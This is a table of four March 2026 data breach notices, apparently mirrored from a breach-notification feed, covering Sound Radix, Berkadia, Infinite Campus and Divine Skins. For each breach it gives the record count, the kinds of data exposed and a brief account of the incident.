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| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
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| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
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| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
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| 13.03.2026 - Divine Skins | 105.814 Datensätze geleaked | |
| Email addresses, Purchases, Usernames In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users. |
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